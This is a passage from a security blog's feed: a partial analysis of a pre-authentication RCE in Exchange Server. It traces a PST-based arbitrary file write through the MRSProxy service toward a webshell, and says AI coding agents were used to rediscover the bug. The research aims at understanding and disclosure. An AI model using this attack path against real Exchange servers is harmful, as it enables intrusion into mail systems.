<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[MB VRED]]></title><description><![CDATA[MB Vulnerability Research and Exploit Development]]></description><link>https://vred.mbbank.com.vn</link><image><url>https://substackcdn.com/image/fetch/$s_!8nze!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7085ee16-0802-448c-b666-26be13c01c3e_144x144.png</url><title>MB VRED</title><link>https://vred.mbbank.com.vn</link></image><generator>Substack</generator><lastBuildDate>Thu, 20 Aug 2026 01:00:26 GMT</lastBuildDate><atom:link href="https://vred.mbbank.com.vn/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[MB Bank]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[mbvred@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[mbvred@substack.com]]></itunes:email><itunes:name><![CDATA[MB VRED]]></itunes:name></itunes:owner><itunes:author><![CDATA[MB VRED]]></itunes:author><googleplay:owner><![CDATA[mbvred@substack.com]]></googleplay:owner><googleplay:email><![CDATA[mbvred@substack.com]]></googleplay:email><googleplay:author><![CDATA[MB VRED]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Analysis of Exchange Server Pre-Auth RCE (CVE-2026-62911)]]></title><description><![CDATA[A little write-up about recent Exchange Server PreAuth RCE vuln demo at p2o 2026]]></description><link>https://vred.mbbank.com.vn/p/analysis-of-exchange-server-pre-auth</link><guid isPermaLink="false">https://vred.mbbank.com.vn/p/analysis-of-exchange-server-pre-auth</guid><dc:creator><![CDATA[MB VRED]]></dc:creator><pubDate>Thu, 13 Aug 2026 04:45:24 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!LQhA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>#The bug</strong></p><p>While looking at the schedule of this year pwn2own, I wasn&#8217;t supprised that there was an entry of MS Exchange, and multiple entries for SharePoint. The only thing supprises me is the vuln only exists in the version using at p2o. Where can I find a SP SE instance in the real world?</p><p>After the competition, same like many people, we are curious by the performance of Orange Tsai, so we (actually only my colleague) started to dig in!</p><p>And not so long after that, in 2 days, with the assists of Claude Opus 4.6 (<em>when they still speak English</em>), my colleague was able to pop calc in the latest version of Exchange Server SE!</p><p>We will start the journey from bottom up, following by <a href="https://www.youtube.com/watch?v=cq0hezWcy_g">the ZDI&#8217;s youtube short of Exchange Entry</a>.</p><p>Although most of information related to the vuln has already been censored, but we still got some clue:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!KSly!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!KSly!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 424w, https://substackcdn.com/image/fetch/$s_!KSly!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 848w, https://substackcdn.com/image/fetch/$s_!KSly!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 1272w, https://substackcdn.com/image/fetch/$s_!KSly!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!KSly!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png" width="708" height="694" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:694,&quot;width&quot;:708,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!KSly!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 424w, https://substackcdn.com/image/fetch/$s_!KSly!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 848w, https://substackcdn.com/image/fetch/$s_!KSly!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 1272w, https://substackcdn.com/image/fetch/$s_!KSly!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26f1a668-d2d2-4761-97cf-c25b0c61e6fb_708x694.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>Focus at this photo, we have these information:</p><ul><li><p>Why not reverse shell?</p></li><li><p>Why the censored response is abnormally large like that?</p></li><li><p>Why <code>low_priv_attacker</code>?</p></li><li><p>Why <code>ex01.exchangelab.local</code>?</p></li></ul><p>By answering these questions, we may have finished 80% of the mystery surrounding this 0day!</p><ol><li><p><strong>Why no reverse shell? Why large response?</strong></p></li></ol><p>Based on my past experiences with Exchange Server vuln, most of direct RCE path are gone. MS has been trying to minimize the .NET Deserialization usage, restricted most of existing deserialize entrypoint.</p><p>So yeah, because of that, we may not be able to directly execute code!</p><p>And for the large response, in the past, we already had an experience with the PST export trick, which let us create a polygot pst file, and drop that to Exchange Server (<em>refer to the ProxyShell analysis here: <a href="https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1">https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1</a></em>).</p><p>The webshell generated by this trick will have a large response, which the same as our situation!</p><p>But the thing is, <code>New-MailboxExportRequest</code> has already been patched, it only allows the extensions of: <em>.pst, .eml, .ost</em></p><p>=&gt; So if the bug is really the PST export trick, there should be another place that also has the ability to export PST file, not <code>New-MailboxExportRequest</code></p><p>That&#8217;s enough for us to go &#8230;</p><p>What do you think? Yeah, just feed above to your AI agent, forbidden it from accessing the Aug patch tuesday, and the result may surprise you :).</p><p>Here what we got from the Codex response:</p><p><code>Microsoft.Exchange.PST.PSTSession.Open()</code> method also has ability to write PST file without any restriction of file extensions:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LQhA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LQhA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 424w, https://substackcdn.com/image/fetch/$s_!LQhA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 848w, https://substackcdn.com/image/fetch/$s_!LQhA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 1272w, https://substackcdn.com/image/fetch/$s_!LQhA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LQhA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png" width="654" height="478" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:478,&quot;width&quot;:654,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LQhA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 424w, https://substackcdn.com/image/fetch/$s_!LQhA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 848w, https://substackcdn.com/image/fetch/$s_!LQhA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 1272w, https://substackcdn.com/image/fetch/$s_!LQhA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd6afac5-26fe-4059-94a0-7ec7bfdb7b08_654x478.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The callstack to this sink:</p><pre><code>MailboxReplicationProxyService.IMailbox_ConfigPst(handle, attackerPath)
 &gt; PstDestinationMailbox.ConfigPst(attackerPath) // =&gt; set dest file path

MailboxReplicationProxyService.IMailbox_Connect()
 &gt; PstMailbox.Connect()
 &gt;&gt; PSTSession.Open() // =&gt; file write</code></pre><p>The MailboxReplicationProxyService A.K.A MRSProxy is running independent from IIS, it&#8217;s served via the <em>MSExchangeMailboxReplication.exe</em> process. This process is running with System privileged!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mF3H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mF3H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 424w, https://substackcdn.com/image/fetch/$s_!mF3H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 848w, https://substackcdn.com/image/fetch/$s_!mF3H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 1272w, https://substackcdn.com/image/fetch/$s_!mF3H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mF3H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png" width="595" height="393" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:393,&quot;width&quot;:595,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mF3H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 424w, https://substackcdn.com/image/fetch/$s_!mF3H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 848w, https://substackcdn.com/image/fetch/$s_!mF3H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 1272w, https://substackcdn.com/image/fetch/$s_!mF3H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4d9e1742-f977-4eff-bc91-fed0112cbf62_595x393.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>MRSProxy is the remote WCF interface exposed by this service.</p><p>This allow other Exchange components <strong>or other Exchange server</strong> to<strong> </strong>create mailbox-provider objects and operate on them remotely. It exposes these services via WCF:</p><pre><code>[ServiceContract(SessionMode = SessionMode.Required)]
internal interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId,
        Guid primaryMailboxGuid,
        Guid physicalMailboxGuid,
        string filePath,
        byte[] partitionHint,
        Guid mdbGuid,
        string mdbName,
        MailboxType mbxType,
        int proxyControlFlags,
        int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);

    // truncated ...
}</code></pre><p>An easy to spot entrypoint of MRSProxy is <code>/EWS/MRSProxy.svc</code></p><p>This endpoint is hosted behind IIS and manage by Exchange CAFE, which has been harden for the hash relay attack since 2022.</p><p>Another entrypoint can be spot via <code>MSExchangeMailboxReplication.exe.config</code></p><pre><code>&lt;service
    name=&#8221;Microsoft.Exchange.MailboxReplicationService.MailboxReplicationProxyService&#8221;
    behaviorConfiguration=&#8221;MrsProxyServiceBehavior&#8221;&gt;

  &lt;endpoint
      address=&#8221;https://localhost/Microsoft.Exchange.MailboxReplicationService.ProxyService&#8221;
      binding=&#8221;customBinding&#8221;
      bindingConfiguration=&#8221;MrsProxyHttpsBinding&#8221;
      contract=&#8221;Microsoft.Exchange.MailboxReplicationService.IMailboxReplicationProxyService&#8221; /&gt;
&lt;/service&gt;</code></pre><p>The corresponding binding is:</p><pre><code>&lt;binding name=&#8221;MrsProxyHttpsBinding&#8221;
         receiveTimeout=&#8221;00:22:00&#8221;&gt;

&lt;!-- truncated --&gt;
  &lt;httpsTransport
      authenticationScheme=&#8221;Negotiate&#8221; &lt;= [1]
      maxReceivedMessageSize=&#8221;100000000&#8221; /&gt;
&lt;/binding&gt;</code></pre><p>So, this endpoint is not hosted by IIS, it directly exposed via HTTP.sys.</p><p>We can use this command to check the existence of that:</p><pre><code>netsh http show servicestate</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EyYL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EyYL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 424w, https://substackcdn.com/image/fetch/$s_!EyYL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 848w, https://substackcdn.com/image/fetch/$s_!EyYL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 1272w, https://substackcdn.com/image/fetch/$s_!EyYL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EyYL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png" width="725" height="495" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:495,&quot;width&quot;:725,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EyYL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 424w, https://substackcdn.com/image/fetch/$s_!EyYL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 848w, https://substackcdn.com/image/fetch/$s_!EyYL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 1272w, https://substackcdn.com/image/fetch/$s_!EyYL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8498350e-993c-4433-a70a-8ca475f5d0c5_725x495.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A remote unauthenticated request can reach this endpoint directly:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hrH0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hrH0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 424w, https://substackcdn.com/image/fetch/$s_!hrH0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 848w, https://substackcdn.com/image/fetch/$s_!hrH0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 1272w, https://substackcdn.com/image/fetch/$s_!hrH0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hrH0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd34f167-1c1f-4523-ba66-6f48c834a145_800x278.png" width="800" height="278" 